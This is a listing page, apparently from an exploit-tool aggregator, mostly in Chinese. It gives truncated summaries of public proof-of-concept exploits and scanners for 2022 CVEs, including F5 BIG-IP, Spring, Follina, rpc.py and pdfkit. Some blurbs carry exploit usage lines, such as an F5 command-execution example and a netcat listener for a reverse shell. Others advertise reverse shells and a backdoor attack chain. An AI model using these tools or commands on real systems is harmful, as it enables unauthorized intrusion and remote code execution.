MacDirtyCow

MacDirtyCow CVE-2022-46689（又名 MacDirtyCow）的示例。 这是什么？ MacDirtyCow 是 macOS 中的一个权限提升漏洞，类似于 Linux 中的 Dirty COW 漏洞。该漏洞位于 macOS 的 XNU 内核所使用的写时复制（COW）机制中。该漏洞允许攻击者修改只读的 root 所有文件，这可能导致攻击者在受影响系统上获得 root 权限。 该漏洞是由 macOS 的 XNU...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC 批量url检测Spring-Cloud-Gateway-CVE-2022-22947 使用方法 py Spring-Cloud-Gateway.py UrlsPath 执行完生成gateway.log文件，其中“+”、“-”、“”分别代表存在、不存在、请求异常...

CVE-2022-41082

此存储库没有 README。...

CVE-2022-1388

CVE-2022-1388 针对影响F5 BIG-IP的CVE-2022-1388的PoC。 用法 root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list containing...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 root@kitploit: Place the target in url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

CVE-2022-3590-WordPress-Vulnerability-Scanner

CVE-2022-3590 WordPress漏洞扫描器 此Python脚本用于检查WordPress网站是否存在CVE-2022-3590漏洞。该漏洞利用了WordPress pingback功能中未经认证的盲服务端请求伪造（SSRF）。 开始 这些说明将指导您如何使用此脚本。 截图 前提条件 此脚本需要Python 3和requests库。您可以使用pip安装必要的依赖： root@kitploit: pip install -r requirements.txt 用法 您可以通过以下语法从命令行运行脚本： root@kitploit: python3 CVE-2022-3590.p...

spring-cve-2022-22947

spring-cve-2022-22947 Spring Cloud Gateway 代码注入：CVE-2022-22947...

AmzWord

AmzWord 一个基于CVE-2022-30190，163邮箱后门，以及图片隐写的自动化攻击链实现。 感谢以下github仓库，我们参考并修改了部分代码，集成实现了我们的工作： gdog follina virtual-reality 需求 gdog： Python 2.7 PyCrypto module WMI module Enum34 module Netifaces module follina： Python 3.x 使用&攻击流程 1. 利用follina.py构建恶意word文件，并打开http监听 您可以更改代码中的默认名字和默认ip...

CVE-2022-21661

CVE-2022-21661 Exploit de CVE-2022-21661 para Elementor custom skin...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP unauth remote code execution PoC Follow us Vulnmachines YouTube Twitter Facebook...

rpc-rce.py

rpc.py RCE 利用工具（CVE-2022-35411） 这是一个更新和改进的利用程序，针对 CVE-2022-35411 ，目标版本为 rpc.py 中易受攻击的版本（ 原始利用作者 ：Elias Hohl 增强者 ：x7331 针对可用性、可移植性和自动化进行了改进 漏洞概要 漏洞存在于 rpc.py 中对 Python pickle 模块的不安全使用，允许精心构造的有效载荷 无需认证 即可执行任意命令。 CVE ID ：CVE-2022-35411 受影响版本 ：rpc.py v0.4.2 – v0.6.0 利用类型 ：未认证远程代码执行（RCE） 变更内容 ✅ 切换到...

go-scan-spring

go-scan-spring 用于发现 Spring4Shell CVE-2022-22965 漏洞的漏洞扫描器 更多信息：https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/ 构建 root@kitploit: /opt $ git clone https://github.com/fracturelabs/go-scan-spring.git /opt $ cd go-scan-spring 用法...

spring-cloud-function-rce

Spring Cloud Function SPEL表达式注入漏洞（CVE-2022-22963） Spring框架为现代基于java的企业应用程序在任何类型的部署平台上提供了一个全面的编程和配置模型。 Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理，造成Spel表达式注入，攻击者可通过该漏洞执行任意代码。 影响范围：3.0.0.RELEASE...

FollinaXploit

Follina 利用工具 CLI —— MSDT 漏洞 CVE-2022-30190 一个基于命令行的 Python 工具，用于利用 MSDT（Microsoft 支持诊断工具）中的零日漏洞，也称为 'Follina' CVE-2022-30190。 信息 : 用于执行 PowerShell 的新的 Microsoft Office 零日漏洞已被用于攻击 使用 Python3.10.4 编写 功能 1. 在受害者设备上执行恶意命令。 2. 获取反向 Shell（NetCat）。 3. 包含针对 .rtf 文件的零点击 RTF。 新 依赖 pyfiglet 安装 克隆仓库...

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Usage Single : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"'...

nmap-spring4shell

Nmap-spring4shell Log4shell-nmap 是一个 NSE 脚本，用于检测 HTTP 服务中的 Spring4Shell RCE 漏洞（CVE-2022-22965）。该脚本将正确的负载注入应用程序，然后在指定的端点上执行以下命令。 漏洞 请参见这里。 用法 root@kitploit: ┌──kali㉿kali-/nmap-spring4shell └─$ nmap 127.0.0.1 --script=./spring4shell.nse ... PORT STATE SERVICE REASON VERSION 8080/tcp open http-proxy...

-cve-2022-22947-

-cve-2022-22947- cve-2022-22947 spring cloud gateway batch scanning script usage: python3 springcloudpoc.py ./urls.txt Use urls.txt to store url information URL format: https://xxx.xx.xx/ one per line Original Script Reference:...

CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

CVE-2022-44268 Lectura Arbitraria de Archivos Locales de ImageMagick https://www.metabaseq.com/imagemagick-zero-days/ Basado en el PoC CVE-2022-44268 ImageMagick Arbitrary File Read PoC, creé un entorno de prueba de vulnerabilidades usando docker. Uso root@kitploit: get image docker pull...

Sophos-Vulnerability

CVE-2022-1040（Sophos RCE）漏洞分析 在Toasec研究团队中，我们致力于进攻性网络安全，并着手分析了Sophos防火墙中的此漏洞。 该漏洞与许多其他漏洞一样，如果你知道如何在推特上搜索，就可以发现并被通知。我们观察到自三月份起，开始出现关于RCE的文章。 来源：https://www.bleepingcomputer.com/news/security/critical-sophos-firewall-vulnerability-allows-remote-code-execution/ 如果我们查看拥有POC的仓库 root@kitploit: POST...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 root@kitploit: python3 -m http.server 80 启动一个 netcat 监听器 root@kitploit: nc -nlvp 4444 使用 CURL 发送请求 root@kitploit: curl...